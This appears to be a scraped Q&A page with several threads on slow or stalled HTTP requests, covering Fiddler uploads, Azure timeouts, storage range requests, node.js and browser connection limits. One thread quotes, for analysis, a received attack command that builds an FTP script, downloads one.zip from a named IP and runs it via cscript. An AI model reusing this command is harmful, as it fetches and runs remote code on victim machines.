In our asp.net application we have an upload feature. When Fiddler is running on the client (with Act as a system proxy) the upload is quick (10megs in 20 sec). however, when Fiddler is not up on the client it's taking about 5 minutes. Any one have any suggestions?
Converting to answer
Fiddler isn't replacing that setting, but as a local proxy, it's buffering the complete POST request locally (so the small buffer doesn't matter) and then blasting it to the server as quickly as the server will take it. The send buffer size was increased in later browser versions.
For IE6, see the steps in http://support.microsoft.com/kb/329781 to adjust the buffer size.
Related
I've encountered an interesting problem when trying to make a HTTP request from Azure VM. It appears that when the request is ran from this VM the response never arrives. I tried using a custom C# code that makes an HTTP request and Postman. In both cases we can see in the logs on the target API side that the response has been sent, but no data is received on the origin VM. The exact same C# request and Postman request work outside of this VM in multiple networks and machines. The only tool that actually works for this request on VM side is Curl Bash terminal but it is not an option based on current requirements.
Tried on multiple Azure VM sizes, on Windows 10 and Windows Server 2019.
The target API is on-premise hosted and it requires around 5 minutes for the data to be sent back. Payload is very small but due to the computing performed on the API side it takes a while to generate. Modifying this API is not an option.
So to be clear- the requests are perpetually stuck until the timeout on client side is reached (if it was configured). Does anybody know what could be a reason for this?
If these transfers take longer than 4 minutes without keep alives, Azure will typically close the connection.
You should be able to see this by monitoring the connection with wireshark.
TCP Timeouts can be configured when using a Load Balancer, but you can also try adding keep alives in your API server if possible.
Some time ago I made a small program like SETI#home to generate the levels of a game that I'm working at. The program has a server and a client. They communicate on a port X using a simple protocol, and they use port 80 when the client is behind a HTTP proxy.
Having port 80 open, I receive a lot of weird HTTP requests. But two days ago one caught my attention:
{a few unreadable bytes that I dont know what they are}28{another byte}\perl.exe -esystem('cmd.exe /c echo open 222.91.160.59>f&echo 111>>f&echo qwe>>f&echo bin>>f&echo get one.zip>>f&echo bye>>f&ftp -s:f&cscript.exe /b /e:VBScript.Encode one.zip&del /f/q f&exit')
It makes a login file, connects via ftp to 222.91.160.59, downloads one.zip, disconnects, encodes with VBScript.Encode and deletes the file, right?
The questions:
Any idea what those few bytes at the beginning are? I assume that the request is some kind of HTTP request since it was sent to port 80, but how would it work?. Unfortunately I couldn't recover those bytes because I've outputted them as a string, I didn't write them in a log... How is this weird request suposed to be executed in a HTTP server?
The attack was not successful. I tried that evening to connect to the server, but it was closed. Yesterday, I found the server online and downloaded the file (with anonymous). I want to analyze it. Does anyone know how to decode it? I've never used VBScript.Encode, but I think that Encode either encodes/decodes and runs somehow one.zip, or the file uses a vulnerability in Encode or cscript.exe. Can someone guide me to analyze the file? I tried to base64 encode/decode it and even parts of it, but the result is unreadable.
If you want to see the beginning of one.zip, here you have a PNG: Beginning of one.zip
I assume that the .zip extension doesn't mean it is compressed, the author just put a random extension, since it is inputted directly to VBScript:Encode.
Thank you!
On Azure Storage service, i do mp3 streaming by doing range requests. For that reason, i set DefaultServiceVersion as "2011-08-18" for unversioned requests. I am able to get range response information headers and jumping middle of the audio file on HTML 5 Audio player.
I experience that usually i can't play whole audio file because streaming stops suddenly somewhere in middle of the file. I watched request informations via Fiddler application and i see that Azure Storage does not send whole requested range because fiddler give warning.
"Content-Length mismatch: Response Header indicated 6.318.692 bytes,
but server sent 2.007.994"
Also when i watch request in Chrome Developer Tools, the request is failing in somewhere of the file. This is quite frequently happen. Why request completed without getting full requested byte range ?
Check that you're not seeing a timeout. Quite often load balancing and similar features will terminate long duration connections.
I would recommend enabling logging on your account. (see http://msdn.microsoft.com/en-us/library/windowsazure/hh343270.aspx for more info on Logging / Metrics). This can be done easily via the azure portal. Once this is done you will have more information to self diagnose the issue from the service perspective.
Joe
I'm new to node.js (and javascript in general) so I thought I would learn by creating a simple weather app utilizing YQL. Overall, the app is working but the request is extremely slow. It takes about ~6 seconds to return the json. On the other hand, I created the same app using jQuery(getJSON) and I get results almost immediately.
Is this the best way to parse json from an url in node.js?
var request = require('request');
var url = 'http://query.yahooapis.com/v1/public/yql?q=SELECT%20*%20FROM%20weather.forecast%20WHERE%20location%3D96720&format=json&diagnostics=true&callback='
request(url, function (error, response, body) {
console.log(body);
})
I'd appreciate any feedback and/or suggestions.
Thanks in advance.
I just tried to open that url in my browser and after > 10 seconds, it's still loading. (Update: it timed out.)
My guess is that, Yahoo is setting caching headers that your browser is respecting, so your first request was probably cached and then every jQuery request after that loaded from your browser cache nearly instantly. request() does not have a local cache, so it's downloading a fresh copy each time, which takes much longer.
Try clearing your browser cache and see if it runs as quickly - if the first request is slow then that would confirm my suspicion.
Update: here's some more info about request speeds:
My home internet connection: mostly timeouts. (Time Werner Cable / Road Runner; Western Ohio)
My prgmr.com server in california: fast - first request took 1.151 seconds in node.js, after that every request was < 0.1 seconds. Node v0.8.21
node.js web proxy running on heroku: fast - 0.28 seconds including the time to proxy it back to my laptop - http://www.nodeunblocker.com/proxy/http://query.yahooapis.com/v1/public/yql?q=SELECT%20*%20FROM%20weather.forecast%20WHERE%20location%3D96720&format=json
So, I'm starting to think that maybe it's location dependent, and can say at the very least that node isn't slow. If nothing else, you can feel free to proxy requests through my heroku server. Note that it's a free account, so when heroku "idles" it, then the next request is slow or sometimes errors out.
I've implemented the chat application using node.js. The program open the connection with the client and it'll response the new message when the EventEmitter emit "recv" event.
The problem is it takes very long time to response to other request when the server hold about 3 or 4 more streams. The chrome developer tool show the status of the request as pending. it took more than 5-30 second to reach the server(localhost). I use console.log to log when the new request is received by the node.js
I have no idea why there's a long pause. Is there any limit on chrome browser, node.js or any other stuffs i should know? Does the node delay when it hold too many request at the same time and how should i measure this value? Thank you
Chrome supports six simultaneous connections per domain, so if those are already in use, it will have to wait for one to close. If you want to know what's going on, use a packet capture program to check the actual network traffic.
Browsers are limited to certain number of parallel connections which applies to the same browser context - for example when you have opened let's say more than 6 tabs, then the connections will be queued and you will see them pending.
You can avoid this limitation, for example, by using unique poll subdomain for each client connection. This is how facebook workaround this limitation, however problem is with Firefox, where this workaround doesn't work and your connections will be queued when they reach the limit even when you use unique subdomains.
Other solution might be to use HTML5 local storage where you can take advantage of StorageEvent which propagate changes also to other tabs within the same browser. This is how StackOverflow chat is done. Advantage of this approach is that you need only one polling connection with the server, but disadvantage is lack of HTML5 local storage support in older browsers or different implementation in FF version < 4.